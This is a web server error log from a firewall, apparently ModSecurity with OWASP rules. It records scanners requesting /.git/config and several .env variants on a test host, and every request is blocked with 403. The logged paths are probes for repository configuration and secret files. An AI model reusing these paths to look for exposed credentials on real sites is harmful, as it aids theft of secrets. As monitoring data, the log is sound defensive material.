[Fri May 16 21:46:14.025471 2025] [:error] [pid 3209390] [client 196.251.83.88:55808] [client 196.251.83.88] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCeWBuIZ43FOH4tW7-ANAAAAAAI"]
[Fri May 16 21:46:14.025881 2025] [:error] [pid 3209390] [client 196.251.83.88:55808] [client 196.251.83.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCeWBuIZ43FOH4tW7-ANAAAAAAI"]
[Fri May 16 21:46:14.026112 2025] [:error] [pid 3209390] [client 196.251.83.88:55808] [client 196.251.83.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCeWBuIZ43FOH4tW7-ANAAAAAAI"]
[Sat May 17 00:08:50.344777 2025] [:error] [pid 3216217] [client 93.123.109.105:45372] [client 93.123.109.105] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCe3cvFl0HpQmyKl0MyifAAAAA0"]
[Sat May 17 00:08:50.345145 2025] [:error] [pid 3216217] [client 93.123.109.105:45372] [client 93.123.109.105] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCe3cvFl0HpQmyKl0MyifAAAAA0"]
[Sat May 17 00:08:50.345318 2025] [:error] [pid 3216217] [client 93.123.109.105:45372] [client 93.123.109.105] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCe3cvFl0HpQmyKl0MyifAAAAA0"]
[Sat May 17 01:27:28.755226 2025] [:error] [pid 3216213] [client 45.144.212.129:52570] [client 45.144.212.129] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aCfJ4Cu_VNIyDEnQVl99XwAAAAA"]
[Sat May 17 01:27:28.755550 2025] [:error] [pid 3216213] [client 45.144.212.129:52570] [client 45.144.212.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aCfJ4Cu_VNIyDEnQVl99XwAAAAA"]
[Sat May 17 01:27:28.755754 2025] [:error] [pid 3216213] [client 45.144.212.129:52570] [client 45.144.212.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aCfJ4Cu_VNIyDEnQVl99XwAAAAA"]
[Sat May 17 09:07:19.497309 2025] [:error] [pid 3219026] [client 54.81.185.130:54056] [client 54.81.185.130] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCg1p_wR5fNLnqD7Tm2NjQAAAAY"]
[Sat May 17 09:07:19.497671 2025] [:error] [pid 3219026] [client 54.81.185.130:54056] [client 54.81.185.130] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCg1p_wR5fNLnqD7Tm2NjQAAAAY"]
[Sat May 17 09:07:19.497863 2025] [:error] [pid 3219026] [client 54.81.185.130:54056] [client 54.81.185.130] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCg1p_wR5fNLnqD7Tm2NjQAAAAY"]
[Sat May 17 17:07:24.389528 2025] [:error] [pid 3226371] [client 196.251.88.164:45510] [client 196.251.88.164] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCimLPR2fZu4qmkZInfdjwAAAA4"]
[Sat May 17 17:07:24.389803 2025] [:error] [pid 3226371] [client 196.251.88.164:45510] [client 196.251.88.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCimLPR2fZu4qmkZInfdjwAAAA4"]
[Sat May 17 17:07:24.389974 2025] [:error] [pid 3226371] [client 196.251.88.164:45510] [client 196.251.88.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCimLPR2fZu4qmkZInfdjwAAAA4"]
[Sun May 18 22:38:43.208277 2025] [:error] [pid 3256685] [client 93.123.109.7:52134] [client 93.123.109.7] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCpFUyFIKV1VZgia780sFwAAAAs"]
[Sun May 18 22:38:43.208560 2025] [:error] [pid 3256685] [client 93.123.109.7:52134] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCpFUyFIKV1VZgia780sFwAAAAs"]
[Sun May 18 22:38:43.208726 2025] [:error] [pid 3256685] [client 93.123.109.7:52134] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aCpFUyFIKV1VZgia780sFwAAAAs"]
[Sun May 18 23:58:33.622777 2025] [:error] [pid 3256648] [client 93.123.109.81:52422] [client 93.123.109.81] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aCpYCUbYI2O1zcEaFfMgoAAAAAI"]
[Sun May 18 23:58:33.623148 2025] [:error] [pid 3256648] [client 93.123.109.81:52422] [client 93.123.109.81] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aCpYCUbYI2O1zcEaFfMgoAAAAAI"]
[Sun May 18 23:58:33.623331 2025] [:error] [pid 3256648] [client 93.123.109.81:52422] [client 93.123.109.81] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aCpYCUbYI2O1zcEaFfMgoAAAAAI"]
[Sun May 18 23:58:33.737952 2025] [:error] [pid 3256679] [client 93.123.109.81:52426] [client 93.123.109.81] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aCpYCUI7Zm_qesEARTJkZQAAAAE"]
[Sun May 18 23:58:33.738208 2025] [:error] [pid 3256679] [client 93.123.109.81:52426] [client 93.123.109.81] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aCpYCUI7Zm_qesEARTJkZQAAAAE"]
[Sun May 18 23:58:33.738400 2025] [:error] [pid 3256679] [client 93.123.109.81:52426] [client 93.123.109.81] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aCpYCUI7Zm_qesEARTJkZQAAAAE"]
[Sun May 18 23:58:33.816797 2025] [:error] [pid 3256684] [client 93.123.109.81:52434] [client 93.123.109.81] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aCpYCTEoLl6bsgSmqI9YkAAAAAo"]
[Sun May 18 23:58:33.817069 2025] [:error] [pid 3256684] [client 93.123.109.81:52434] [client 93.123.109.81] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aCpYCTEoLl6bsgSmqI9YkAAAAAo"]
[Sun May 18 23:58:33.817242 2025] [:error] [pid 3256684] [client 93.123.109.81:52434] [client 93.123.109.81] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aCpYCTEoLl6bsgSmqI9YkAAAAAo"]
[Sun May 18 23:58:33.922306 2025] [:error] [pid 3256652] [client 93.123.109.81:52440] [client 93.123.109.81] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aCpYCcagTec3DCT5FxedYwAAAAA"]
[Sun May 18 23:58:33.922559 2025] [:error] [pid 3256652] [client 93.123.109.81:52440] [client 93.123.109.81] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aCpYCcagTec3DCT5FxedYwAAAAA"]
[Sun May 18 23:58:33.922732 2025] [:error] [pid 3256652] [client 93.123.109.81:52440] [client 93.123.109.81] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aCpYCcagTec3DCT5FxedYwAAAAA"]
[Sun May 18 23:58:35.265569 2025] [authz_core:error] [pid 3256684] [client 93.123.109.81:52528] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Sun May 18 23:58:35.348835 2025] [:error] [pid 3256652] [client 93.123.109.81:52532] [client 93.123.109.81] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aCpYC8agTec3DCT5FxedZAAAAAA"]
[Sun May 18 23:58:35.349100 2025] [:error] [pid 3256652] [client 93.123.109.81:52532] [client 93.123.109.81] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aCpYC8agTec3DCT5FxedZAAAAAA"]
[Sun May 18 23:58:35.349267 2025] [:error] [pid 3256652] [client 93.123.109.81:52532] [client 93.123.109.81] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aCpYC8agTec3DCT5FxedZAAAAAA"]
[Sat May 24 00:34:08.173598 2025] [:error] [pid 3367458] [client 194.50.16.252:40740] [client 194.50.16.252] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aDD34G7AxarufRY-SdJyyQAAAAc"]
[Sat May 24 00:34:08.182552 2025] [:error] [pid 3367458] [client 194.50.16.252:40740] [client 194.50.16.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aDD34G7AxarufRY-SdJyyQAAAAc"]
[Sat May 24 00:34:08.183577 2025] [:error] [pid 3367458] [client 194.50.16.252:40740] [client 194.50.16.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aDD34G7AxarufRY-SdJyyQAAAAc"]
[Sat May 24 00:34:10.656346 2025] [:error] [pid 3367457] [client 194.50.16.252:40750] [client 194.50.16.252] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.git/config"] [unique_id "aDD34rZzu5neuD8nydbOrAAAAAU"]
[Sat May 24 00:34:10.656589 2025] [:error] [pid 3367457] [client 194.50.16.252:40750] [client 194.50.16.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.git/config"] [unique_id "aDD34rZzu5neuD8nydbOrAAAAAU"]
[Sat May 24 00:34:10.656758 2025] [:error] [pid 3367457] [client 194.50.16.252:40750] [client 194.50.16.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.git/config"] [unique_id "aDD34rZzu5neuD8nydbOrAAAAAU"]
[Sun May 25 23:50:29.954642 2025] [:error] [pid 3391620] [client 35.227.155.127:45992] [client 35.227.155.127] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aDOQpTpXYtlOGxCuYEllTgAAAAE"]
